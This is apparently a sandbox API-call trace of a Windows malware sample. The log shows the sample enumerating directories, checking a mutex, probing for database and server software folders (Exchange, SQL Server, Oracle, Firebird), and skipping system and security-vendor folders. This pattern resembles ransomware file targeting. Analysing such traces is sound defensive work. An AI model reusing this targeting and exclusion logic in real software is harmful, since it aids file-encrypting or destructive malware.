GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.197] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.197] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.197] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.198] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0281.198] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0281.198] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.198] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.198] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.198] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.198] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.198] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.198] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.198] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.198] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.198] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.198] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.198] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.199] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.199] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.199] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.199] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.199] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.199] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.199] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.199] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.199] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.199] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.199] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.199] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.199] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.199] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.199] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.199] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.199] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.200] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.200] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.200] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.200] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.200] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.200] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.200] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.200] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.200] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.200] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.200] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.200] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.200] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.200] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.200] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.200] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.201] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.201] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.201] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.201] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.201] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.201] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.201] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.201] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.201] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.201] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.201] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.201] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.201] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.201] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.201] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.201] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.201] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.202] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.202] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.202] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.202] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.202] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.202] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.202] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.202] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.202] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.202] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.202] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.202] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.202] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.202] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.202] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0281.203] GetLastError () returned 0x12 [0281.203] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0281.203] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0281.203] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0281.203] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0281.205] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.205] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.206] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.206] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.206] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.206] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.206] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.206] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.206] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.206] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.206] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.206] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.206] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.206] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.206] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.206] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.206] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.207] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.207] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.207] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.207] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1045", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1045") returned 1 [0281.207] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.207] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.207] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.207] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.207] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.207] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.207] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.207] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.207] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.207] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.208] GetLastError () returned 0x3 [0281.209] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cde0, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0281.209] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.209] GetLastError () returned 0x2 [0281.209] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cde0, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0281.209] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.209] GetLastError () returned 0x2 [0281.210] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0281.210] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.210] GetLastError () returned 0x2 [0281.210] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0281.210] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.210] GetLastError () returned 0x2 [0281.210] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0281.210] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.212] GetLastError () returned 0x2 [0281.212] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0281.212] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.213] GetLastError () returned 0x2 [0281.213] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0281.213] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.213] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.213] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.213] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.213] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.213] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.213] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.213] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.213] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.213] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.213] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0281.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0281.214] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.214] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0281.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0281.214] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.214] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0281.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0281.214] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.214] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0281.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39330, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0281.214] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.214] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.214] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.214] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.214] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.214] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.214] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.214] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.214] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0281.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0281.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0281.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0281.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0281.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0281.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0281.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0281.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0281.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0281.216] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0281.216] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0281.216] SHGetPathFromIDListW (in: pidl=0x6e47e8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0281.216] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0281.216] IMalloc:Free (This=0x75e4d000, pv=0x6e47e8) [0281.216] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0281.216] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0281.216] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.216] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.217] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.217] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.217] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.217] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.217] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.217] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.217] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.217] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0281.217] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.217] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.217] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0281.217] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.217] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.217] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.218] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.218] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.218] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.218] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.218] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.218] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.218] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.218] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.218] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0281.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 